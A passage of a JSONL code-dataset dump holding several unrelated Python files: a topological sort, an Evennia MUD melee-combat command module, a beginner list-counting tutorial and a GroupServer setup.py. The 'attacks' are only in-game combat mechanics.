book_id=%s and user_id=%s;'\n\t\tconn = pool.connection()\n\t\tcur = conn.cursor()\n\t\tcur.execute(sql,(book_id, user_id ))\n\t\tret = cur.fetchone()\n\t\tcur.close()\n\t\tconn.close()\n\t\treturn ret","repo_name":"MoCuishle28/python-practice","sub_path":"project1/app/models/gift.py","file_name":"gift.py","file_ext":"py","file_size_in_byte":3174,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"14233212810","text":"#Uses python3\n\nimport sys\nimport threading\n\nsys.setrecursionlimit(1000000000) # max depth of recursion\nthreading.stack_size(2**29) # new thread will get stack of such size\n\ndef dfs(adj, used, order, x):\n\n for node in adj[x]:\n if node not in used:\n continue\n dfs(adj, used, order, node)\n\n used.remove(x)\n order.append(x)\n\ndef toposort(adj):\n order = []\n used = set([x for x in range(len(adj))])\n while len(used) > 0:\n dfs(adj, used, order, next(iter(used)))\n return reversed(order)\n\nif __name__ == '__main__':\n input = sys.stdin.read()\n data = list(map(int, input.split()))\n n, m = data[0:2]\n data = data[2:]\n edges = list(zip(data[0:(2 * m):2], data[1:(2 * m):2]))\n adj = [[] for _ in range(n)]\n for (a, b) in edges:\n adj[a - 1].append(b - 1)\n order = toposort(adj)\n for x in order:\n print(x + 1, end=' ')\n\n","repo_name":"mcgaw/psychic-garbanzo","sub_path":"3/week2/toposort/toposort.py","file_name":"toposort.py","file_ext":"py","file_size_in_byte":902,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"6349331046","text":"from evennia import Command as BaseCommand\r\nfrom evennia import utils\r\nimport time\r\nfrom random import randint\r\nfrom world import rules, npc_rules\r\nfrom evennia.server.sessionhandler import SESSIONS\r\nfrom evennia import TICKER_HANDLER as tickerhandler\r\nfrom evennia import ChannelDB\r\n\r\nclass MeleeCommand(BaseCommand):\r\n \"\"\"\r\n In theory all of the attacks here will inherit from this. This might make functions easy.\r\n\r\n \"\"\"\r\n @staticmethod\r\n def room_type_check(self, target):\r\n caller = self.caller\r\n\r\n # rooms\r\n if utils.inherits_from(caller.location, \"typeclasses.rooms.DeathRoom\"):\r\n caller.msg(\"You can't do that now.\")\r\n return True\r\n\r\n if caller.location.tags.get('city', category='corinth') and target.db.citizenship == \"Corinth\": # or any of the other final rooms\r\n caller.msg(\"It's not wise to attack another citizen in Corinth without approval from the Magistrates.\")\r\n return True\r\n\r\n @staticmethod\r\n def target_type_check(self, target): # This stuff could go into a pre_command thing, shrinking the code.\r\n caller = self.caller\r\n\r\n can_attack = False\r\n if utils.inherits_from(target, \"typeclasses.characters.Character\") or utils.inherits_from(target, \"typeclasses.npcs.Combat_Mob\") or utils.inherits_from(target, \"typeclasses.npcs.Combat_Merchant_Mob\"):\r\n can_attack = True\r\n\r\n if not can_attack:\r\n caller.msg(\"You can't attack that.\")\r\n return True\r\n\r\n # npc\r\n if utils.inherits_from(target, \"typeclasses.npcs.Combat_Mob\") or utils.inherits_from(target, \"typeclasses.npcs.Combat_Merchant_Mob\"):\r\n if not target.db.alive:\r\n caller.msg(\"It's dead, %s. It has to be dead.\" % caller.name)\r\n return True\r\n npc_rules.npc_attacked(target)\r\n if self.caller in target.db.offended_by:\r\n target.db.offended_by.remove(self.caller)\r\n target.db.offended_by.insert(0, self.caller)\r\n caller.db.last_mob_target = target\r\n\r\n mob_damage = caller.db.level + caller.db.current_strength\r\n mob_damage = float(mob_damage) * caller.db.wielding[0].db.damage_multiplier\r\n target.db.health = target.db.health - int(mob_damage)\r\n\r\n string_c, string_t, string_r = rules.weapon_attack_messages(caller, target, caller.db.wielding[0])\r\n caller.msg(string_c)\r\n target.msg(string_t)\r\n caller.location.msg_contents(string_r, exclude=[caller, target])\r\n\r\n if target.db.health <= 0:\r\n target.db.health = 0\r\n caller.msg(\"You have slain %s.\" % target.name)\r\n string_r = \"%s falls.\" % target.name\r\n caller.location.msg_contents(string_r, exclude=[caller, target])\r\n rules.exp_gain(caller, target)\r\n\r\n target.name = target.db.defeated_name\r\n target.db.offended_by = []\r\n target.db.tries_left = target.db.tries\r\n tickerhandler.remove(target.db.ticker_speed, target.npc_active_ticks)\r\n target.db.alive = False\r\n tickerhandler.add(target.db.respawn_speed, target.npc_revive_ticks) # this would actually go into MeleeCommand's function for when an npc is hit.\r\n\r\n MeleeCommand.endurance_loss(caller, 2)\r\n caller.db.balance_time = time.time() + 3.5 + caller.db.wielding[0].db.balance_duration_change\r\n\r\n return True\r\n\r\n @staticmethod\r\n def show_balance(self):\r\n caller = self.caller\r\n\r\n # This happens if someone doesn't have balance back yet: the skill gives a message and aborts.\r\n if time.time() < caller.db.balance_time:\r\n if caller.db.balance_time - time.time() > 4:\r\n caller.msg(\"You need 4 more seconds!\")\r\n elif caller.db.balance_time - time.time() > 3:\r\n caller.msg(\"You need 3 more seconds!\")\r\n elif caller.db.balance_time - time.time() > 2:\r\n caller.msg(\"You need 2 more seconds!\")\r\n elif caller.db.balance_time - time.time() > 1:\r\n caller.msg(\"You need 1 more second!\")\r\n elif caller.db.balance_time - time.time() > 0:\r\n caller.msg(\"You've almost regained balance!\")\r\n return True\r\n\r\n @staticmethod\r\n def hit_chance(self, target1, target2):\r\n #\r\n # Hit chance calculation goes here.\r\n #\r\n hit_chance = 75\r\n hit_modifier = 0\r\n\r\n target1_stamina = 10\r\n if target1.db.stamina < 10:\r\n hit_modifier = 10 - target1.db.stamina\r\n target1_stamina = target1.db.stamina # for display purposes\r\n hit_modifier = hit_modifier * 5\r\n hit_chance = hit_chance - hit_modifier\r\n\r\n agility_modifier = target1.db.agility - target2.db.agility\r\n compared_agility = agility_modifier # for display purposes\r\n\r\n agility_modifier = agility_modifier * 2\r\n\r\n hit_chance = hit_chance + agility_modifier\r\n\r\n d100 = randint(1, 100)\r\n\r\n target2_stamina = 10\r\n if target2.db.stamina < 10:\r\n adjustment = 0\r\n adjustment = 10 - target2.db.stamina\r\n target2_stamina = target2.db.stamina # for display purposes\r\n adjustment = adjustment * 2\r\n d100 = d100 - adjustment\r\n\r\n if target2.db.stance == \"defensive\":\r\n d100 = d100 + 40\r\n string_2 = (\"%s seems focused on defense.\" % target2.name)\r\n #hit_chance = hit_chance - adjustment\r\n\r\n # This is for display purposes only now that the system has changed a few times.\r\n # This is for display purposes only now that the system has changed a few times.\r\n advantage = target1_stamina - target2_stamina\r\n advantage = advantage * 2\r\n advantage = advantage + agility_modifier\r\n\r\n if advantage > 0:\r\n string = \"Offense: %s, Defense: %s. vs. Agility & Stamina: +%s advantage.\" % (\r\n hit_chance, d100, advantage)\r\n elif advantage < 0:\r\n string = \"Offense: %s, Defense: %s. vs. Agility & Stamina: %s disadvantage.\" % (\r\n hit_chance, d100, advantage)\r\n else:\r\n string = \"Offense: %s, Defense: %s. vs. Agility & Stamina: evenly matched.\" % (\r\n hit_chance, d100)\r\n target1.msg(string) # For debuggin purposes, or maybe I like it\r\n target2.msg(string)\r\n if target2.db.stance == \"defensive\":\r\n target1.msg(string_2)\r\n\r\n return hit_chance, d100\r\n\r\n def feint_roll(self, target1, target2):\r\n #\r\n # Hit chance calculation goes here.\r\n #\r\n hit_modifier = 0\r\n\r\n d100 = randint(1, 100)\r\n d100 = d100 + 25\r\n fake_roll = randint(1,d100)\r\n\r\n if target1.db.stamina < 10:\r\n hit_modifier = 10 - target1.db.stamina\r\n hit_modifier = hit_modifier * 5\r\n fake_roll = fake_roll - hit_modifier\r\n\r\n agility_modifier = target1.db.agility - target2.db.agility\r\n\r\n agility_modifier = agility_modifier * 2\r\n\r\n fake_roll = fake_roll + agility_modifier\r\n\r\n # if target2.db.stance == \"defensive\":\r\n # stance_modifier = 40\r\n # if target2.db.stamina < 10:\r\n # adjustment = 0\r\n # adjustment = 10 - target2.db.stamina\r\n # adjustment = adjustment * 2\r\n # stance_modifier = 40 - adjustment\r\n # string_2 = (\"%s seems focused on defense.\" % target2.name)\r\n # fake_roll = fake_roll - stance_modifier\r\n\r\n string = \"Hit Chance: %s, Roll: %s. %s Agility vs. %s Agility = %s modifier.\" % (fake_roll, d100, target1.db.agility, target2.db.agility, agility_modifier)\r\n target1.msg(string) # For debuggin purposes, or maybe I like it\r\n target2.msg(string)\r\n if target2.db.stance == \"defensive\":\r\n string_2 = (\"%s seems focused on defense.\" % target2.name)\r\n target1.msg(string_2)\r\n\r\n return fake_roll, d100\r\n\r\n @staticmethod\r\n def damage_calc(caller, target):\r\n\r\n target_hp = target.db.max_health\r\n\r\n damage_multiplier = 2000.0 - target.db.max_health\r\n\r\n strength_factor = float(caller.db.strength) / 1000\r\n\r\n damage_multiplier = damage_multiplier * strength_factor\r\n\r\n damage_multiplier = damage_multiplier * 2\r\n\r\n damage_multiplier = damage_multiplier / 100\r\n\r\n damage_amount = target_hp * damage_multiplier\r\n\r\n damage_amount = damage_amount * caller.db.wielding[0].db.damage_multiplier\r\n\r\n armor_block = 100.0 - target.db.armor_bonus\r\n\r\n armor_block = armor_block / 100\r\n\r\n damage_amount = damage_amount * armor_block\r\n\r\n damage_amount = int(damage_amount)\r\n\r\n return damage_amount\r\n\r\n @staticmethod\r\n def damage_reaction(target):\r\n\r\n hp_ratio = float(target.db.health) / float(target.db.max_health)\r\n\r\n string = \"%s is sent reeling!\" % target.name\r\n\r\n if hp_ratio > 0.8:\r\n string = \"%s weathers the blow!\" % target.name\r\n return string\r\n elif hp_ratio > 0.5:\r\n string = \"%s grunts in pain.\" % target.name\r\n return string\r\n elif hp_ratio > 0.2:\r\n string = \"%s wavers bloodily on %s feet!\" % (target.name, target.db.genderp)\r\n return string\r\n elif hp_ratio > 0:\r\n string = \"%s looks as if %s is about to fall!\" % (target.name, target.db.genders)\r\n return string\r\n\r\n return string\r\n\r\n @staticmethod\r\n def show_prompt(self, target):\r\n \"\"\"\r\n This hook is called after the command has finished executing\r\n (after self.func()).\r\n \"\"\"\r\n\r\n if (float(target.db.health) / float(target.db.max_health)) > 0.80:\r\n prompt_hp_color = \"|g\"\r\n elif (float(target.db.health) / float(target.db.max_health)) > 0.36:\r\n prompt_hp_color = \"|y\"\r\n else:\r\n prompt_hp_color = \"|r\"\r\n\r\n if target.db.stamina > 6:\r\n prompt_stamina_color = \"|g\"\r\n elif target.db.stamina > 3:\r\n prompt_stamina_color = \"|y\"\r\n else:\r\n prompt_stamina_color = \"|r\"\r\n\r\n magic_level = \"Asleep\"\r\n if target.db.current_magic == 0:\r\n magic_level = \"Asleep\"\r\n elif target.db.current_magic > 7:\r\n magic_level = \"|rRaging|n\"\r\n elif target.db.current_magic > 4:\r\n magic_level = \"|yIrate|n\"\r\n elif target.db.current_magic > 0:\r\n magic_level = \"|gAwoken|n\"\r\n\r\n prompt = \"%sHealth|n: %s%s|n - |gMagic|n: %s|n - %sStamina|n: %s%s.\" % (prompt_hp_color, prompt_hp_color, target.db.health, magic_level, prompt_stamina_color, prompt_stamina_color, target.db.stamina)\r\n target.msg(prompt)\r\n\r\n @staticmethod\r\n def endurance_loss(caller, amount):\r\n\r\n # The endurance loss formula is done here.\r\n\r\n #caller = self.caller\r\n\r\n d20 = randint(1,20)\r\n\r\n if d20 > caller.db.endurance:\r\n if caller.db.stamina > amount:\r\n caller.db.stamina = caller.db.stamina - amount\r\n else:\r\n caller.db.stamina = 0\r\n\r\n if caller.db.stamina > 6:\r\n caller.msg(\" ... You feel yourself starting to tire!\")\r\n elif caller.db.stamina == 6 or caller.db.stamina == 5:\r\n caller.msg(\" ... You're breathing heavily from the exertion!\")\r\n string_E = \"%s is breathing heavily from %s exertions...\" % (caller.name, caller.db.genderp)\r\n caller.location.msg_contents(string_E, exclude=[caller])\r\n elif caller.db.stamina == 4 or caller.db.stamina == 3:\r\n caller.msg(\" ... You're covered in sweat!\")\r\n string_E = \"%s is covered in sweat and breathing heavily.\" % caller.name\r\n caller.location.msg_contents(string_E, exclude=[caller])\r\n else:\r\n caller.msg(\" ... You're exhausted!\")\r\n string_E = \"%s looks exhausted; as if %s can barely move!\" % (caller.name, caller.db.genders)\r\n caller.location.msg_contents(string_E, exclude=[caller])\r\n\r\nclass CmdAssess2(MeleeCommand):\r\n \"\"\"\r\n Check out your subject's wielded weapon and approximately how much stamina they have.\r\n\r\n Usage:\r\n assess <target>\r\n\r\n \"\"\"\r\n\r\n key = \"assess\"\r\n aliases = [\"analyze\", \"consider\"]\r\n locks = \"cmd:all()\"\r\n help_category = \"Melee\"\r\n\r\n def parse(self):\r\n \"Very trivial parser\"\r\n self.target = self.args.strip()\r\n\r\n def func(self):\r\n\r\n caller = self.caller\r\n\r\n if not self.target or self.target == \"here\":\r\n caller.msg(\"Assess who?\")\r\n MeleeCommand.show_prompt(self, caller)\r\n return\r\n else:\r\n target = caller.search(self.target)\r\n if not target:\r\n caller.msg(\"You cannot see %s here.\" % target)\r\n # caller.search handles error messages\r\n return\r\n\r\n if target.db.wielding:\r\n caller.msg(\"%s is wielding %s.\" % (target.name, target.db.wielding[0].name))\r\n caller.msg(\"You estimate that %s has %s0%% of %s stamina remaining.\" % (target.name, target.db.stamina, target.db.genderp))\r\n MeleeCommand.show_prompt(self, caller)\r\n\r\nclass CmdWielded(MeleeCommand):\r\n \"\"\"\r\n Check your wielded items.\r\n\r\n Usage:\r\n wielded\r\n\r\n \"\"\"\r\n\r\n key = \"wielded\"\r\n aliases = [\"hands\"]\r\n locks = \"cmd:all()\"\r\n help_category = \"Melee\"\r\n\r\n def func(self):\r\n caller = self.caller\r\n\r\n if caller.db.wielding:\r\n caller.msg(\"|wYou are currently wielding %s in your hands.|n\" % (caller.db.wielding[0]))\r\n\r\nclass CmdStop(MeleeCommand):\r\n \"\"\"\r\n Lower your guard.\r\n This command will also stops things like auto-walking.\r\n\r\n Usage:\r\n stop\r\n\r\n \"\"\"\r\n\r\n key = \"stop\"\r\n aliases = [\"lower\", \"relax\"]\r\n locks = \"cmd:all()\"\r\n help_category = \"Melee\"\r\n\r\n def func(self):\r\n caller = self.caller\r\n\r\n if caller.db.stance == \"defensive\":\r\n caller.db.stance = \"no stance\"\r\n caller.msg(\"You relax your guard.\")\r\n MeleeCommand.show_prompt(self, caller)\r\n return\r\n elif caller.db.auto_walking:\r\n caller.db.auto_walking = False\r\n caller.msg(\"You stop walking towards your goal.\")\r\n return\r\n elif caller.db.following:\r\n caller.msg(\"You stop following %s.\" % caller.db.following.name)\r\n caller.db.following = False\r\n else:\r\n caller.msg(\"Stop what?\")\r\n\r\nclass CmdDefend(MeleeCommand):\r\n \"\"\"\r\n Assume a defensive stance, reducing the chances of taking a hit.\r\n\r\n Usage:\r\n defend\r\n\r\n \"\"\"\r\n\r\n key = \"defend\"\r\n aliases = [\"parry\", \"guard\"]\r\n locks = \"cmd:all()\"\r\n help_category = \"Melee\"\r\n\r\n def func(self):\r\n caller = self.caller\r\n\r\n if MeleeCommand.show_balance(self): # Checks balance, stops if you don't have it.\r\n return\r\n\r\n if not caller.db.wielding:\r\n caller.msg(\"You aren't wielding a weapon, better run instead!\")\r\n else:\r\n caller.msg(\"|wYou raise your %s and assume a defensive stance.|n\" % caller.db.wielding[\r\n 0].db.short_name)\r\n string_r = (\"%s raises %s %s and assumes a defensive stance.\" % (\r\n caller.name, caller.db.genderp, caller.db.wielding[0].db.short_name))\r\n caller.location.msg_contents(string_r, exclude=[caller])\r\n caller.db.stance = \"defensive\"\r\n\r\n self.endurance_loss(caller, 1)\r\n if caller.db.wielding:\r\n caller.db.balance_time = time.time() + 1 + caller.db.wielding[0].db.balance_duration_change\r\n else:\r\n caller.db.balance_time = time.time() + 1\r\n\r\n MeleeCommand.show_prompt(self, caller)\r\n\r\n # def func(self):\r\n # caller = self.caller\r\n #\r\n # if caller.db.wielding:\r\n # caller.msg(\"|wYou are currently wielding %s in your hands.|n\" % (caller.db.wielding[0]))\r\n #\r\n # caller.location.msg_contents(string_E, exclude=[caller])\r\n\r\nclass CmdAttack(MeleeCommand):\r\n \"\"\"\r\n Attack someone or something with your wielded weapon.\r\n The nature of the weapon and your skill with it will effect balance time, damage, wounds etc.\r\n The |wstance|n you and your target are in will effect hit chance, damage and speed.\r\n\r\n Usage:\r\n attack [<someone>]\r\n\r\n \"\"\"\r\n\r\n key = \"attack\"\r\n aliases = [\"kill\", \"att\", \"slay\"]\r\n locks = \"cmd:all()\"\r\n help_category = \"Melee\"\r\n\r\n def parse(self):\r\n \"Very trivial parser\"\r\n self.target = self.args.strip()\r\n\r\n\r\n def func(self):\r\n\r\n caller = self.caller\r\n\r\n if not self.target or self.target == \"here\":\r\n caller.msg(\"Attack what?\")\r\n return\r\n else:\r\n target = caller.search(self.target)\r\n if not target:\r\n caller.msg(\"You grip your weapon tightly but your foe is not here!\")\r\n # caller.search handles error messages\r\n return\r\n\r\n if MeleeCommand.room_type_check(self, target): # Checks room type.\r\n return\r\n\r\n if MeleeCommand.show_balance(self): # Checks balance, stops if you don't have it.\r\n return\r\n\r\n if caller.db.moving:\r\n caller.msg(\"You are already moving away!\")\r\n return\r\n\r\n if caller.db.wielding and utils.inherits_from(caller.db.wielding[0], \"typeclasses.arms.Weapons\"):\r\n weapon_name = caller.db.wielding[0].db.short_name\r\n else:\r\n caller.msg(\"You aren't wielding a weapon!\")\r\n return\r\n\r\n if caller.db.stamina == 0: # Checks stamina, stops if you don't have it.\r\n caller.msg(\"You are too tired to swing your weapon!\")\r\n MeleeCommand.show_prompt(self, caller)\r\n return\r\n\r\n if MeleeCommand.target_type_check(self, target):\r\n MeleeCommand.show_prompt(self, caller)\r\n return\r\n\r\n # if utils.inherits_from(caller.db.wielding, \"typeclasses.arms.Weapons\"):\r\n # weapon_name = caller.db.wielding.short_name\r\n # else:\r\n # caller.msg(\"You aren't wielding a weapon!\")\r\n # return\r\n # also the shield spell's bounce should go in\r\n\r\n caller.db.stance = \"no stance\"\r\n\r\n if target.db.shielded:\r\n string_c = \"The magic circle surrounding %s shields %s from harm.\" % (target.name, target.db.gendero)\r\n caller.msg(string_c)\r\n MeleeCommand.show_prompt(self, caller)\r\n return\r\n\r\n damage_calc = MeleeCommand.damage_calc(caller, target)\r\n hit_chance, d100 = MeleeCommand.hit_chance(self, caller, target)\r\n\r\n if hit_chance > d100:\r\n\r\n # Hit messages.\r\n string_c, string_t, string_r = rules.weapon_attack_messages(caller, target, caller.db.wielding[0])\r\n caller.msg(string_c)\r\n target.msg(string_t)\r\n caller.location.msg_contents(string_r, exclude=[caller, target])\r\n\r\n string_T = \" ... You lose |r%s|n health!\" % damage_calc\r\n target.msg(string_T)\r\n target.db.health = target.db.health - damage_calc\r\n if target.db.health > 0:\r\n string = MeleeCommand.damage_reaction(target)\r\n string_c = \"|w\" + string + \"|n\"\r\n caller.msg(string_c)\r\n caller.location.msg_contents(string, exclude=[caller, target])\r\n if target.db.health <= 0 and not target.db.immortal:\r\n target.db.health = 0\r\n rules.death_movement(caller, target)\r\n string = \"|r%s has been slain by %s.|n\" % (target.name, caller.name)\r\n rage = ChannelDB.objects.get_channel(\"rage\")\r\n rage.msg(string)\r\n rules.exp_gain(caller, target)\r\n\r\n MeleeCommand.endurance_loss(caller, 3)\r\n if caller.db.wielding:\r\n caller.db.balance_time = time.time() + 3.5 + caller.db.wielding[0].db.balance_duration_change\r\n else:\r\n caller.db.balance_time = time.time() + 3.5\r\n else:\r\n string_c, string_t, string_r = rules.weapon_miss_messages(caller, target, caller.db.wielding[0])\r\n caller.msg(string_c)\r\n target.msg(string_t)\r\n caller.location.msg_contents(string_r, exclude=[caller, target])\r\n\r\n self.endurance_loss(caller, 1)\r\n\r\n if caller.db.wielding:\r\n caller.db.balance_time = time.time() + 2.25 + caller.db.wielding[0].db.balance_duration_change\r\n else:\r\n caller.db.balance_time = time.time() + 2.25\r\n\r\n # Show both prompts\r\n MeleeCommand.show_prompt(self, caller)\r\n MeleeCommand.show_prompt(self, target)\r\n\r\nclass CmdMaul(MeleeCommand):\r\n \"\"\"\r\n Maul someone you don't like, if you're Ashlan.\r\n\r\n Usage:\r\n maul [<someone>]\r\n\r\n \"\"\"\r\n\r\n key = \"maul\"\r\n #aliases = [\"kill\", \"att\"]\r\n locks = \"cmd:id(4)\"\r\n help_category = \"Melee\"\r\n\r\n def parse(self):\r\n \"Very trivial parser\"\r\n self.target = self.args.strip()\r\n\r\n def func(self):\r\n\r\n caller = self.caller\r\n target = self.target\r\n\r\n if MeleeCommand.target_type_check(self, target): # Checks room type.\r\n return\r\n\r\n if not self.target or self.target == \"here\":\r\n caller.msg(\"Attack what?\")\r\n return\r\n else:\r\n target = caller.search(self.target)\r\n if not target:\r\n caller.msg(\"%s isn't here to maul.\" % target.name)\r\n # caller.search handles error messages\r\n return\r\n\r\n if MeleeCommand.show_balance(self): # Checks balance, stops if you don't have it.\r\n return\r\n\r\n if caller.db.stamina == 0: # Checks stamina, stops if you don't have it.\r\n caller.msg(\"You are too tired to maul anyone else!\")\r\n MeleeCommand.show_prompt(self, caller)\r\n return\r\n\r\n if caller.db.moving == True:\r\n caller.msg(\"You're walking the other way!\")\r\n return\r\n\r\n # if utils.inherits_from(caller.db.wielding, \"typeclasses.arms.Weapons\"):\r\n # weapon_name = caller.db.wielding.short_name\r\n # else:\r\n # caller.msg(\"You aren't wielding a weapon!\")\r\n # return\r\n # also the shield spell's bounce should go in\r\n\r\n caller.db.stance = \"no stance\"\r\n\r\n damage_calc = 9001\r\n #hit_chance, d100 = MeleeCommand.hit_chance(self, caller, target)\r\n hit_chance = 777\r\n d100 = 0\r\n\r\n if hit_chance > d100:\r\n\r\n string_t = \"Offense: 777, Defense: 1. Infinite Agility vs. %s Agility = doesn't really matter does it?\" % target.db.agility\r\n target.msg(string_t)\r\n # Hit messages.\r\n #string_c, string_t, string_r = rules.weapon_attack_messages(caller, target, caller.db.wielding[0])\r\n string_c = \"|wYou leap onto %s and maul the s- out of %s.|n\" % (target.name, target.db.gendero)\r\n string_t = \"Ashlan leaps onto you and mauls the s- out of you.\"\r\n string_r = \"Ashlan leaps onto %s and mauls the s- out of %s.\" % (target.name, target.db.gendero)\r\n caller.msg(string_c)\r\n target.msg(string_t)\r\n caller.location.msg_contents(string_r, exclude=[caller, target])\r\n\r\n string_T = \" ... You lose |r%s|n health!\" % damage_calc\r\n target.msg(string_T)\r\n target.db.health = target.db.health - damage_calc\r\n if target.db.health <= 0:\r\n #target.msg(\"You would have died if death was coded in!\")\r\n target.db.health = 0\r\n rules.death_movement(caller, target)\r\n string = \"|rAshlan just mauled the s- out of %s.|n\" % target.name\r\n rage = ChannelDB.objects.get_channel(\"rage\")\r\n rage.msg(string)\r\n #caller.msg(\"You would have slain %s if death was coded in!\" % target.name)\r\n\r\n MeleeCommand.endurance_loss(caller, 3)\r\n caller.db.balance_time = time.time() + 3.5 + caller.db.wielding[0].db.balance_duration_change\r\n else:\r\n string_c, string_t, string_r = rules.weapon_miss_messages(caller, target, caller.db.wielding[0])\r\n caller.msg(string_c)\r\n target.msg(string_t)\r\n caller.location.msg_contents(string_r, exclude=[caller, target])\r\n\r\n self.endurance_loss(caller, 1)\r\n caller.db.balance_time = time.time() + 2.25 + caller.db.wielding[0].db.balance_duration_change\r\n\r\n # Show both prompts\r\n MeleeCommand.show_prompt(self, caller)\r\n MeleeCommand.show_prompt(self, target)\r\n\r\nclass CmdFeint(MeleeCommand):\r\n \"\"\"\r\n Make a fake attack towards your target. This will reduce your stamina by less than a real attack and take less time.\r\n If you are in a defensive stance, this will not disrupt that, unlike a real attack.\r\n\r\n Usage:\r\n feint <target>\r\n\r\n A skilled opponent may detect that your move is a feint.\r\n \"\"\"\r\n\r\n key = \"feint\"\r\n aliases = [\"threat\"]\r\n locks = \"cmd:all()\"\r\n help_category = \"Melee\"\r\n\r\n def parse(self):\r\n \"Very trivial parser\"\r\n self.target = self.args.strip()\r\n\r\n\r\n def func(self):\r\n\r\n caller = self.caller\r\n\r\n if MeleeCommand.room_type_check(self): # Checks room type.\r\n return\r\n\r\n if not self.target or self.target == \"here\":\r\n caller.msg(\"Feint towards what?\")\r\n return\r\n else:\r\n target = caller.search(self.target)\r\n if not target:\r\n caller.msg(\"You grip your weapon tightly but your foe is not in range!\")\r\n # caller.search handles error messages\r\n return\r\n\r\n if MeleeCommand.show_balance(self): # Checks balance, stops if you don't have it.\r\n return\r\n\r\n if caller.db.stamina == 0: # Checks stamina, stops if you don't have it.\r\n caller.msg(\"You are too tired to swing your weapon!\")\r\n MeleeCommand.show_prompt(self, caller)\r\n return\r\n\r\n # if utils.inherits_from(caller.db.wielding, \"typeclasses.arms.Weapons\"):\r\n # weapon_name = caller.db.wielding.short_name\r\n # else:\r\n # caller.msg(\"You aren't wielding a weapon!\")\r\n # return\r\n # also the shield spell's bounce should go in\r\n\r\n if caller.db.wielding and utils.inherits_from(caller.db.wielding[0], \"typeclasses.arms.Weapons\"):\r\n weapon_name = caller.db.wielding[0].db.short_name\r\n else:\r\n caller.msg(\"You aren't wielding a weapon!\")\r\n return\r\n\r\n caller.msg(\"You make a feint towards %s.\" % target.name)\r\n hit_chance, d100 = MeleeCommand.feint_roll(self, caller, target)\r\n\r\n if hit_chance:\r\n\r\n # Hit messages.\r\n string_c, string_t, string_r = rules.weapon_attack_messages(caller, target, caller.db.wielding[0])\r\n caller.msg(string_c)\r\n target.msg(string_t)\r\n caller.location.msg_contents(string_r, exclude=[caller, target])\r\n\r\n string_c, string_t, string_r = rules.weapon_miss_messages(caller, target, caller.db.wielding[0])\r\n caller.msg(string_c)\r\n target.msg(string_t)\r\n caller.location.msg_contents(string_r, exclude=[caller, target])\r\n\r\n self.endurance_loss(caller, 1)\r\n half_balance = caller.db.wielding[0].db.balance_duration_change / 2\r\n caller.db.balance_time = time.time() + 1 + half_balance\r\n\r\n # Show both prompts\r\n MeleeCommand.show_prompt(self, caller)\r\n MeleeCommand.show_prompt(self, target)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n#####################################################\r\n# Old Attack command with telegraphed delays below.\r\n#####################################################\r\n\r\n\r\n# It seems as if evennia's \"yield\" function is a better way to create delayed action commands.","repo_name":"whitehorse-io/encarnia","sub_path":"Encarnia/commands/melee.py","file_name":"melee.py","file_ext":"py","file_size_in_byte":28411,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"21"} +{"seq_id":"34592948386","text":"'''Pass list to a function'''\r\n\r\ndef even_odd_classifier(morgan_freeman):\r\n even,odd = 0,0\r\n for i in lst:\r\n if(i%2==0):\r\n even+=1\r\n else:\r\n odd+=1\r\n return (even,odd)\r\n\r\nlst = list()\r\nn = int(input(\"Enter number of elements to be entered:\\t\"))\r\nfor i in range(0,n):\r\n x = int(input('Enter next number: '))\r\n lst.append(x)\r\neven,odd = even_odd_classifier(lst)\r\nprint(\"Even : {} and Odd : {}\".format(even,odd)) ##Replace curly bracket with vars\r\n\r\n#Classifier to detect names that exceed 5 characters\r\n\r\nnames = list()\r\nn = int(input(\"Enter number of names to be entered:\\t\"))\r\nfor i in range(0,n):\r\n x = input('Enter next name: ')\r\n names.append(x)\r\n\r\ndef name_classifier(names):\r\n small_names = 0\r\n for name in names:\r\n if (len(name)<=5):\r\n small_names += 1\r\n return small_names\r\n \r\nsmall_names = name_classifier(names)\r\nbig_names = n-small_names\r\n\r\nprint(\"Small names : {} and Big names : {}\".format(small_names,big_names))\r\n\r\n\r\n\r\n \r\n \r\n \r\n \r\n ","repo_name":"KaProDes/python3","sub_path":"Tutorial/tut34.py","file_name":"tut34.py","file_ext":"py","file_size_in_byte":1049,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"27729749811","text":"import codecs\nimport os\nfrom setuptools import setup, find_packages\nfrom version import get_version\n\nversion = get_version()\n\nwith codecs.open('README.rst', encoding='utf-8') as f:\n long_description = f.read()\nwith codecs.open(os.path.join(\"docs\", \"HISTORY.rst\"), encoding='utf-8') as f:\n long_description += '\\n' + f.read()\n\nentry_point = 'gs.recipe.createtables.recipe:CreateTablesRecipe'\nentry_points = {\"zc.buildout\": [\"default = %s\" % entry_point]}\n\nsetup(name='gs.recipe.createtables',\n version=version,\n description=\"Setup the GroupServer SQL tables in PostgreSQL\",\n long_description=long_description,\n classifiers=[\n \"Development Status :: 4 - Beta\",\n 'Framework :: Buildout',\n 'Intended Audience :: Developers',\n 'Topic :: Software Development :: Build Tools',\n 'Topic :: Software Development :: Libraries :: Python Modules',\n 'License :: OSI Approved :: Zope Public License',\n \"Natural Language :: English\",\n \"Operating System :: OS Independent\",\n \"Programming Language :: Python\",\n \"Programming Language :: Python :: 2\",\n \"Programming Language :: Python :: 2.7\",\n \"Programming Language :: Python :: Implementation :: CPython\",\n ],\n keywords='groupserver, recipe, setup, database, table',\n author='Michael JasonSmith',\n author_email='mpj17@onlinegroups.net',\n url='',\n license='ZPL 2.1',\n packages=find_packages(exclude=['ez_setup']),\n namespace_packages=['gs', 'gs.recipe'],\n include_package_data=True,\n zip_safe=False,\n install_requires=[\n 'setuptools',\n 'zc.buildout',\n 'gs.recipe.base', ],\n entry_points=entry_points,\n tests_require=['gs.option', 'Products.GSAuditTrail', ],\n test_suite='gs.recipe.createtables.tests.test_all',\n)\n #'Products.CustomUserFolder',\n #'Products.GroupServer',\n #'Products.GSAuditTrail',\n #'Products.GSGroupMember',\n #'Products.XWFMailingListManager',\n #'gs.group.member.invite.base',\n #'gs.group.member.request',\n #'gs.group.messages.post',\n #'gs.group.messages.topic',\n #'gs.option',\n #'gs.profile.email.base',\n #'gs.profile.email.verify',\n 